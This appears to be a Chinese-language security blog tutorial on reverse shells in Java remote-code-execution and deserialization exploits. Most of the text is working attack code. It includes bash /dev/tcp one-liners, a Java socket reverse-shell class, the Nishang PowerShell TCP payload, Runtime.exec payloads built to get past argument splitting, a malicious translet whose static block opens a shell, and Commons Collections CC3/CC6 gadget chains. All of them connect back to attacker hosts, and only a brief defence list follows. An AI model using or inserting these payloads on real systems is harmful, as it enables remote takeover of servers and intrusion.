Java RCE场景下的RevShell技术全解析<\/h1>

1. Linux反弹Shell命令解析<\/h2>

1.1 基础反弹命令<\/h3>
bash -i >& \/dev\/tcp\/10.10.11.11\/9001 0>&1<\/span>
<\/span><\/span><\/code><\/pre>1.2 符号作用解析<\/h3>

&<\/code>符号作用<\/strong>：当<<\/code>或><\/code>后面跟&<\/code>时，指向的是文件描述符而非文件名<\/li>
>&m<\/code>：输出到文件描述符m所指向的文件<\/li>
<&m<\/code>：从文件描述符m所指向的文件读取输入<\/li>
<\/ul>
1.3 命令详细解读<\/h3>
完整版本：bash -i > \/dev\/tcp\/10.10.11.11\/9001 2>&1 0>&1<\/code><\/p>
执行流程<\/strong>：<\/p>

bash -i<\/code>启动新的交互shell<\/li>
><\/code>（即1><\/code>）将标准输出重定向到TCP Socket<\/li>
2>&1<\/code>将标准错误重定向到标准输出（TCP Socket）<\/li>
0>&1<\/code>将标准输入重定向到标准输出（TCP Socket）<\/li>
<\/ol>
最终状态<\/strong>：<\/p>

fd 0（stdin）→ 网络连接<\/li>
fd 1（stdout）→ 网络连接<\/li>
fd 2（stderr）→ 网络连接<\/li>
<\/ul>
1.4 等价变形<\/h3>
bash -i >& \/dev\/tcp\/10.10.11.11\/9001 0<&1<\/span>
<\/span><\/span><\/code><\/pre>2. Runtime.exec()方法深度分析<\/h2>
2.1 Windows平台实现<\/h3>
方法重载<\/strong>：<\/p>
public<\/span> Process exec<\/span>(<\/span>String command)<\/span>
<\/span><\/span>public<\/span> Process exec<\/span>(<\/span>String command,<\/span> String[]<\/span> envp)<\/span>
<\/span><\/span>public<\/span> Process exec<\/span>(<\/span>String command,<\/span> String[]<\/span> envp,<\/span> File dir)<\/span>
<\/span><\/span>public<\/span> Process exec<\/span>(<\/span>String cmdarray[])<\/span>
<\/span><\/span>public<\/span> Process exec<\/span>(<\/span>String[]<\/span> cmdarray,<\/span> String[]<\/span> envp)<\/span>
<\/span><\/span>public<\/span> Process exec<\/span>(<\/span>String[]<\/span> cmdarray,<\/span> String[]<\/span> envp,<\/span> File dir)<\/span>
<\/span><\/span><\/code><\/pre>执行流程<\/strong>：<\/p>

使用StringTokenizer<\/code>按空格、\t<\/code>、\n<\/code>、\r<\/code>、\f<\/code>分割命令字符串<\/li>
创建ProcessBuilder<\/code>对象<\/li>
调用ProcessImpl.start()<\/code>方法<\/li>
最终通过native方法create()<\/code>创建进程<\/li>
<\/ol>
关键调用栈<\/strong>：<\/p>
create:593, ProcessImpl (java.lang)
<init>:453, ProcessImpl (java.lang)
start:139, ProcessImpl (java.lang)
start:1029, ProcessBuilder (java.lang)
exec:621, Runtime (java.lang)
<\/code><\/pre>
2.2 Linux平台实现<\/h3>
调用栈<\/strong>：<\/p>
java.lang.UNIXProcess.<init>(UNIXProcess.java:247)
java.lang.ProcessImpl.start(ProcessImpl.java:134)
java.lang.ProcessBuilder.start(ProcessBuilder.java:1029)
java.lang.Runtime.exec(Runtime.java:620)
<\/code><\/pre>
3. Windows反弹Shell技术<\/h2>
3.1 Socket连接方式<\/h3>
package<\/span> com.lingx5.windows;<\/span>
<\/span><\/span>
<\/span><\/span>import<\/span> java.io.IOException;<\/span>
<\/span><\/span>import<\/span> java.io.InputStream;<\/span>
<\/span><\/span>import<\/span> java.io.OutputStream;<\/span>
<\/span><\/span>import<\/span> java.net.Socket;<\/span>
<\/span><\/span>
<\/span><\/span>public<\/span> class<\/span> JavaSocketRevShell<\/span> {<\/span>
<\/span><\/span>    private<\/span> void<\/span> pumpStream<\/span>(<\/span>InputStream in,<\/span> OutputStream out)<\/span> {<\/span>
<\/span><\/span>        new<\/span> Thread(()<\/span> -><\/span> {<\/span>
<\/span><\/span>            try<\/span> {<\/span>
<\/span><\/span>                byte<\/span>[]<\/span> buffer =<\/span> new<\/span> byte<\/span>[<\/span>1024<\/span>];<\/span>
<\/span><\/span>                int<\/span> bytesRead;<\/span>
<\/span><\/span>                while<\/span> ((<\/span>bytesRead =<\/span> in.<\/span>read<\/span>(<\/span>buffer))<\/span> !=<\/span> -<\/span>1<\/span>)<\/span> {<\/span>
<\/span><\/span>                    out.<\/span>write<\/span>(<\/span>buffer,<\/span> 0<\/span>,<\/span> bytesRead);<\/span>
<\/span><\/span>                    out.<\/span>flush<\/span>();<\/span>
<\/span><\/span>                }<\/span>
<\/span><\/span>            }<\/span> catch<\/span> (<\/span>IOException e)<\/span> {<\/span>
<\/span><\/span>            }<\/span> finally<\/span> {<\/span>
<\/span><\/span>                try<\/span> {<\/span>
<\/span><\/span>                    in.<\/span>close<\/span>();<\/span>
<\/span><\/span>                    out.<\/span>close<\/span>();<\/span>
<\/span><\/span>                }<\/span> catch<\/span> (<\/span>IOException ignored)<\/span> {}<\/span>
<\/span><\/span>            }<\/span>
<\/span><\/span>        }).<\/span>start<\/span>();<\/span>
<\/span><\/span>    }<\/span>
<\/span><\/span>    
<\/span><\/span>    public<\/span> void<\/span> conn<\/span>(<\/span>String host,<\/span> int<\/span> port,<\/span> String...<\/span> cmd)<\/span> throws<\/span> Exception {<\/span>
<\/span><\/span>        try<\/span> (<\/span>Socket socket =<\/span> new<\/span> Socket(<\/span>host,<\/span> port))<\/span> {<\/span>
<\/span><\/span>            ProcessBuilder pb =<\/span> new<\/span> ProcessBuilder(<\/span>cmd);<\/span>
<\/span><\/span>            Process process =<\/span> pb.<\/span>start<\/span>();<\/span>
<\/span><\/span>            pumpStream(<\/span>socket.<\/span>getInputStream<\/span>(),<\/span> process.<\/span>getOutputStream<\/span>());<\/span>
<\/span><\/span>            pumpStream(<\/span>process.<\/span>getInputStream<\/span>(),<\/span> socket.<\/span>getOutputStream<\/span>());<\/span>
<\/span><\/span>            pumpStream(<\/span>process.<\/span>getErrorStream<\/span>(),<\/span> socket.<\/span>getOutputStream<\/span>());<\/span>
<\/span><\/span>            process.<\/span>waitFor<\/span>();<\/span>
<\/span><\/span>        }<\/span>
<\/span><\/span>    }<\/span>
<\/span><\/span>}<\/span>
<\/span><\/span><\/code><\/pre>使用示例<\/strong>：<\/p>
\/\/ 反弹cmd shell
<\/span><\/span><\/span><\/span>new<\/span> JavaSocketRevShell().<\/span>conn<\/span>(<\/span>"10.10.11.11"<\/span>,<\/span> 9001<\/span>,<\/span> "cmd.exe"<\/span>,<\/span> "\/k"<\/span>);<\/span>
<\/span><\/span>
<\/span><\/span>\/\/ 反弹powershell shell
<\/span><\/span><\/span><\/span>new<\/span> JavaSocketRevShell().<\/span>conn<\/span>(<\/span>"10.10.11.11"<\/span>,<\/span> 9001<\/span>,<\/span> "powershell.exe"<\/span>);<\/span>
<\/span><\/span><\/code><\/pre>3.2 PowerShell命令方式<\/h3>
Nishang框架Payload<\/strong>：<\/p>
$client = New-Object System.Net.Sockets.TCPClient('192.168.254.1'<\/span>,4444);
<\/span><\/span>$stream = $client.GetStream();
<\/span><\/span>[byte[]]<\/span>$bytes = 0..65535|%{0};
<\/span><\/span>while<\/span>(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne<\/span> 0){
<\/span><\/span>    $data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);
<\/span><\/span>    $sendback = (iex $data 2>&1 | Out-String );
<\/span><\/span>    $sendback2 = $sendback + 'PS '<\/span> + (pwd).Path + '> '<\/span>;
<\/span><\/span>    $sendbyte = ([text.encoding]<\/span>::ASCII).GetBytes($sendback2);
<\/span><\/span>    $stream.Write($sendbyte,0,$sendbyte.Length);
<\/span><\/span>    $stream.Flush();
<\/span><\/span>}
<\/span><\/span>$client.Close()
<\/span><\/span><\/code><\/pre>Java实现<\/strong>：<\/p>
public<\/span> class<\/span> ExecRevShell<\/span> {<\/span>
<\/span><\/span>    public<\/span> static<\/span> void<\/span> main<\/span>(<\/span>String[]<\/span> args)<\/span> throws<\/span> Exception {<\/span>
<\/span><\/span>        String ip =<\/span> "'10.10.11.11'"<\/span>;<\/span>
<\/span><\/span>        int<\/span> port =<\/span> 9001<\/span>;<\/span>
<\/span><\/span>        String cmd =<\/span> "$client = New-Object System.Net.Sockets.TCPClient("<\/span>+<\/span>ip+<\/span>","<\/span>+<\/span>port+<\/span>");"<\/span> +<\/span>
<\/span><\/span>            "$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"<\/span>;<\/span>
<\/span><\/span>        Runtime.<\/span>getRuntime<\/span>().<\/span>exec<\/span>(<\/span>"powershell.exe "<\/span>+<\/span>cmd);<\/span>
<\/span><\/span>    }<\/span>
<\/span><\/span>}<\/span>
<\/span><\/span><\/code><\/pre>4. Linux反弹Shell技术<\/h2>
4.1 Socket连接方式<\/h3>
使用相同的JavaSocketRevShell<\/code>类，传入bash命令：<\/p>
new<\/span> JavaSocketRevShell().<\/span>conn<\/span>(<\/span>"10.10.11.11"<\/span>,<\/span> 9001<\/span>,<\/span> "\/bin\/bash"<\/span>);<\/span>
<\/span><\/span><\/code><\/pre>4.2 Bash命令方式<\/h3>
4.2.1 字符数组方式（推荐）<\/h4>
public<\/span> class<\/span> ExecRevShell<\/span> {<\/span>
<\/span><\/span>    public<\/span> static<\/span> void<\/span> main<\/span>(<\/span>String[]<\/span> args)<\/span> {<\/span>
<\/span><\/span>        try<\/span> {<\/span>
<\/span><\/span>            String[]<\/span> cmd =<\/span> new<\/span> String[]{<\/span>
<\/span><\/span>                "bash"<\/span>,<\/span>
<\/span><\/span>                "-c"<\/span>,<\/span> 
<\/span><\/span>                "bash -i >& \/dev\/tcp\/10.10.11.11\/9001 0>&1"<\/span>
<\/span><\/span>            };<\/span>
<\/span><\/span>            Runtime.<\/span>getRuntime<\/span>().<\/span>exec<\/span>(<\/span>cmd);<\/span>
<\/span><\/span>        }<\/span> catch<\/span> (<\/span>Exception e)<\/span> {<\/span>
<\/span><\/span>            e.<\/span>printStackTrace<\/span>();<\/span>
<\/span><\/span>        }<\/span>
<\/span><\/span>    }<\/span>
<\/span><\/span>}<\/span>
<\/span><\/span><\/code><\/pre>4.2.2 字符串方式（需要特殊构造）<\/h4>
错误Payload<\/strong>：<\/p>
Runtime.<\/span>getRuntime<\/span>().<\/span>exec<\/span>(<\/span>"bash -c \"$*\" 0 bash -i >& \/dev\/tcp\/10.10.11.11\/9001 0>&1"<\/span>);<\/span>
<\/span><\/span><\/code><\/pre>正确Payload<\/strong>：<\/p>
\/\/ 方式1
<\/span><\/span><\/span><\/span>Runtime.<\/span>getRuntime<\/span>().<\/span>exec<\/span>(<\/span>"bash -c $@|bash 0 echo bash -i >& \/dev\/tcp\/10.10.11.11\/9001 0>&1"<\/span>);<\/span>
<\/span><\/span>
<\/span><\/span>\/\/ 方式2  
<\/span><\/span><\/span><\/span>Runtime.<\/span>getRuntime<\/span>().<\/span>exec<\/span>(<\/span>"bash -c $*|bash 0 echo bash -i >& \/dev\/tcp\/10.10.11.11\/9001 0>&1"<\/span>);<\/span>
<\/span><\/span><\/code><\/pre>原理分析<\/strong>：<\/p>

StringTokenizer<\/code>分词：["bash", "-c", "$@|bash", "0", "echo", "bash", "-i", ">&", "\/dev\/tcp\/10.10.11.11\/9001", "0>&1"]<\/code><\/li>
bash -c<\/code>执行$@|bash<\/code>，$@<\/code>被填充为后续参数<\/li>
echo<\/code>输出反弹shell命令字符串<\/li>
通过管道|<\/code>传递给新的bash执行<\/li>
<\/ol>
5. 与反序列化漏洞结合<\/h2>
5.1 类加载方式（CC3\/CC4链）<\/h3>
5.1.1 恶意类构造<\/h4>
package<\/span> com.lingx5.windows;<\/span>
<\/span><\/span>
<\/span><\/span>import<\/span> com.sun.org.apache.xalan.internal.xsltc.DOM;<\/span>
<\/span><\/span>import<\/span> com.sun.org.apache.xalan.internal.xsltc.TransletException;<\/span>
<\/span><\/span>import<\/span> com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;<\/span>
<\/span><\/span>import<\/span> com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;<\/span>
<\/span><\/span>import<\/span> com.sun.org.apache.xml.internal.serializer.SerializationHandler;<\/span>
<\/span><\/span>import<\/span> java.io.IOException;<\/span>
<\/span><\/span>import<\/span> java.io.InputStream;<\/span>
<\/span><\/span>import<\/span> java.io.OutputStream;<\/span>
<\/span><\/span>import<\/span> java.net.Socket;<\/span>
<\/span><\/span>
<\/span><\/span>public<\/span> class<\/span> JavaSocketRevShell<\/span> extends<\/span> AbstractTranslet {<\/span>
<\/span><\/span>    private<\/span> static<\/span> void<\/span> pumpStream<\/span>(<\/span>InputStream in,<\/span> OutputStream out)<\/span> {<\/span>
<\/span><\/span>        new<\/span> Thread(()<\/span> -><\/span> {<\/span>
<\/span><\/span>            try<\/span> {<\/span>
<\/span><\/span>                byte<\/span>[]<\/span> buffer =<\/span> new<\/span> byte<\/span>[<\/span>1024<\/span>];<\/span>
<\/span><\/span>                int<\/span> bytesRead;<\/span>
<\/span><\/span>                while<\/span> ((<\/span>bytesRead =<\/span> in.<\/span>read<\/span>(<\/span>buffer))<\/span> !=<\/span> -<\/span>1<\/span>)<\/span> {<\/span>
<\/span><\/span>                    out.<\/span>write<\/span>(<\/span>buffer,<\/span> 0<\/span>,<\/span> bytesRead);<\/span>
<\/span><\/span>                    out.<\/span>flush<\/span>();<\/span>
<\/span><\/span>                }<\/span>
<\/span><\/span>            }<\/span> catch<\/span> (<\/span>IOException e)<\/span> {<\/span>
<\/span><\/span>            }<\/span> finally<\/span> {<\/span>
<\/span><\/span>                try<\/span> {<\/span>
<\/span><\/span>                    in.<\/span>close<\/span>();<\/span>
<\/span><\/span>                    out.<\/span>close<\/span>();<\/span>
<\/span><\/span>                }<\/span> catch<\/span> (<\/span>IOException ignored)<\/span> {}<\/span>
<\/span><\/span>            }<\/span>
<\/span><\/span>        }).<\/span>start<\/span>();<\/span>
<\/span><\/span>    }<\/span>
<\/span><\/span>    
<\/span><\/span>    public<\/span> static<\/span> void<\/span> conn<\/span>(<\/span>String host,<\/span> int<\/span> port,<\/span> String...<\/span> cmd)<\/span> throws<\/span> Exception {<\/span>
<\/span><\/span>        try<\/span> (<\/span>Socket socket =<\/span> new<\/span> Socket(<\/span>host,<\/span> port))<\/span> {<\/span>
<\/span><\/span>            ProcessBuilder pb =<\/span> new<\/span> ProcessBuilder(<\/span>cmd);<\/span>
<\/span><\/span>            Process process =<\/span> pb.<\/span>start<\/span>();<\/span>
<\/span><\/span>            pumpStream(<\/span>socket.<\/span>getInputStream<\/span>(),<\/span> process.<\/span>getOutputStream<\/span>());<\/span>
<\/span><\/span>            pumpStream(<\/span>process.<\/span>getInputStream<\/span>(),<\/span> socket.<\/span>getOutputStream<\/span>());<\/span>
<\/span><\/span>            pumpStream(<\/span>process.<\/span>getErrorStream<\/span>(),<\/span> socket.<\/span>getOutputStream<\/span>());<\/span>
<\/span><\/span>            process.<\/span>waitFor<\/span>();<\/span>
<\/span><\/span>        }<\/span>
<\/span><\/span>    }<\/span>
<\/span><\/span>    
<\/span><\/span>    \/\/ 静态代码块中执行反弹shell
<\/span><\/span><\/span><\/span>    static<\/span> {<\/span>
<\/span><\/span>        new<\/span> Thread(()<\/span> -><\/span> {<\/span>
<\/span><\/span>            try<\/span> {<\/span>
<\/span><\/span>                conn(<\/span>"10.10.11.11"<\/span>,<\/span> 9001<\/span>,<\/span> "powershell.exe"<\/span>);<\/span>
<\/span><\/span>            }<\/span> catch<\/span> (<\/span>Exception e)<\/span> {<\/span>
<\/span><\/span>            }<\/span>
<\/span><\/span>        }).<\/span>start<\/span>();<\/span>
<\/span><\/span>    }<\/span>
<\/span><\/span>    
<\/span><\/span>    @Override<\/span>
<\/span><\/span>    public<\/span> void<\/span> transform<\/span>(<\/span>DOM document,<\/span> SerializationHandler[]<\/span> handlers)<\/span> throws<\/span> TransletException {}<\/span>
<\/span><\/span>    
<\/span><\/span>    @Override<\/span>
<\/span><\/span>    public<\/span> void<\/span> transform<\/span>(<\/span>DOM document,<\/span> DTMAxisIterator iterator,<\/span> SerializationHandler handler)<\/span> throws<\/span> TransletException {}<\/span>
<\/span><\/span>}<\/span>
<\/span><\/span><\/code><\/pre>5.1.2 CC3反序列化链<\/h4>
public<\/span> class<\/span> ClassLoaderRevShell<\/span> {<\/span>
<\/span><\/span>    public<\/span> static<\/span> byte<\/span>[]<\/span> getEvil<\/span>()<\/span> throws<\/span> Exception {<\/span>
<\/span><\/span>        ClassPool ctClass =<\/span> ClassPool.<\/span>getDefault<\/span>();<\/span>
<\/span><\/span>        CtClass evil =<\/span> ctClass.<\/span>get<\/span>(<\/span>"com.lingx5.windows.JavaSocketRevShell"<\/span>);<\/span>
<\/span><\/span>        return<\/span> evil.<\/span>toBytecode<\/span>();<\/span>
<\/span><\/span>    }<\/span>
<\/span><\/span>    
<\/span><\/span>    public<\/span> static<\/span> void<\/span> main<\/span>(<\/span>String[]<\/span> args)<\/span> throws<\/span> Exception {<\/span>
<\/span><\/span>        byte<\/span>[]<\/span> evilBytes =<\/span> getEvil();<\/span>
<\/span><\/span>        TemplatesImpl templates =<\/span> new<\/span> TemplatesImpl();<\/span>
<\/span><\/span>        \/\/ 设置templates的相关字段...
<\/span><\/span><\/span><\/span>        
<\/span><\/span>        Transformer[]<\/span> transformers =<\/span> {<\/span>
<\/span><\/span>            new<\/span> ConstantTransformer(<\/span>TrAXFilter.<\/span>class<\/span>),<\/span>
<\/span><\/span>            new<\/span> InstantiateTransformer(<\/span>
<\/span><\/span>                new<\/span> Class[]{<\/span>Templates.<\/span>class<\/span>},<\/span> 
<\/span><\/span>                new<\/span> Object[]{<\/span>templates}<\/span>
<\/span><\/span>            )<\/span>
<\/span><\/span>        };<\/span>
<\/span><\/span>        
<\/span><\/span>        ChainedTransformer chain =<\/span> new<\/span> ChainedTransformer(<\/span>transformers);<\/span>
<\/span><\/span>        \/\/ 构造完整的反序列化链...
<\/span><\/span><\/span><\/span>    }<\/span>
<\/span><\/span>}<\/span>
<\/span><\/span><\/code><\/pre>5.2 命令执行方式（CC1\/CC6链）<\/h3>
5.2.1 CC6链示例<\/h4>
public<\/span> class<\/span> CC6RevShell<\/span> {<\/span>
<\/span><\/span>    public<\/span> static<\/span> void<\/span> main<\/span>(<\/span>String[]<\/span> args)<\/span> throws<\/span> Exception {<\/span>
<\/span><\/span>        String ip =<\/span> "'10.10.11.11'"<\/span>;<\/span>
<\/span><\/span>        int<\/span> port =<\/span> 9001<\/span>;<\/span>
<\/span><\/span>        String cmd =<\/span> "powershell.exe $client = New-Object System.Net.Sockets.TCPClient("<\/span>+<\/span>ip+<\/span>","<\/span>+<\/span>port+<\/span>");"<\/span> +<\/span>
<\/span><\/span>            "$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"<\/span>;<\/span>
<\/span><\/span>        
<\/span><\/span>        Transformer[]<\/span> transformers =<\/span> {<\/span>
<\/span><\/span>            new<\/span> ConstantTransformer(<\/span>Runtime.<\/span>class<\/span>),<\/span>
<\/span><\/span>            new<\/span> InvokerTransformer(<\/span>"getMethod"<\/span>,<\/span> 
<\/span><\/span>                new<\/span> Class[]{<\/span>String.<\/span>class<\/span>,<\/span> Class[].<\/span>class<\/span>},<\/span>
<\/span><\/span>                new<\/span> Object[]{<\/span>"getRuntime"<\/span>,<\/span> null<\/span>}),<\/span>
<\/span><\/span>            new<\/span> InvokerTransformer(<\/span>"invoke"<\/span>,<\/span> 
<\/span><\/span>                new<\/span> Class[]{<\/span>Object.<\/span>class<\/span>,<\/span> Object[].<\/span>class<\/span>},<\/span>
<\/span><\/span>                new<\/span> Object[]{<\/span>null<\/span>,<\/span> null<\/span>}),<\/span>
<\/span><\/span>            new<\/span> InvokerTransformer(<\/span>"exec"<\/span>,<\/span> 
<\/span><\/span>                new<\/span> Class[]{<\/span>String.<\/span>class<\/span>},<\/span>
<\/span><\/span>                new<\/span> Object[]{<\/span>cmd})<\/span>
<\/span><\/span>        };<\/span>
<\/span><\/span>        
<\/span><\/span>        ChainedTransformer chain =<\/span> new<\/span> ChainedTransformer(<\/span>transformers);<\/span>
<\/span><\/span>        \/\/ 构造完整的CC6反序列化链...
<\/span><\/span><\/span><\/span>    }<\/span>
<\/span><\/span>}<\/span>
<\/span><\/span><\/code><\/pre>6. 关键技术要点<\/h2>
6.1 平台差异处理<\/h3>

Windows<\/strong>：使用cmd.exe \/k<\/code>或powershell.exe<\/code><\/li>
Linux<\/strong>：使用\/bin\/bash<\/code>或\/bin\/sh<\/code><\/li>
<\/ul>
6.2 线程资源管理<\/h3>
在静态代码块中使用新线程执行反弹shell，避免JVM资源回收：<\/p>
static<\/span> {<\/span>
<\/span><\/span>    new<\/span> Thread(()<\/span> -><\/span> {<\/span>
<\/span><\/span>        try<\/span> {<\/span>
<\/span><\/span>            conn(<\/span>"10.10.11.11"<\/span>,<\/span> 9001<\/span>,<\/span> "powershell.exe"<\/span>);<\/span>
<\/span><\/span>        }<\/span> catch<\/span> (<\/span>Exception e)<\/span> {<\/span>
<\/span><\/span>        }<\/span>
<\/span><\/span>    }).<\/span>start<\/span>();<\/span>
<\/span><\/span>}<\/span>
<\/span><\/span><\/code><\/pre>6.3 命令构造技巧<\/h3>

使用字符数组避免StringTokenizer<\/code>错误分割<\/li>
利用bash的$@<\/code>和$*<\/code>参数扩展特性<\/li>
通过管道符连接多个命令执行<\/li>
<\/ul>
7. 防御建议<\/h2>

严格过滤用户输入，避免命令注入<\/li>
使用安全管理器限制执行权限<\/li>
及时更新依赖库，修复已知反序列化漏洞<\/li>
实施网络层防护，限制出站连接<\/li>
使用代码审计工具检测潜在风险<\/li>
<\/ol>

本文详细解析了Java RCE场景下各种反弹Shell技术的实现原理和具体方法，涵盖了Windows\/Linux双平台、多种执行方式以及与反序列化漏洞的结合利用。<\/em><\/p>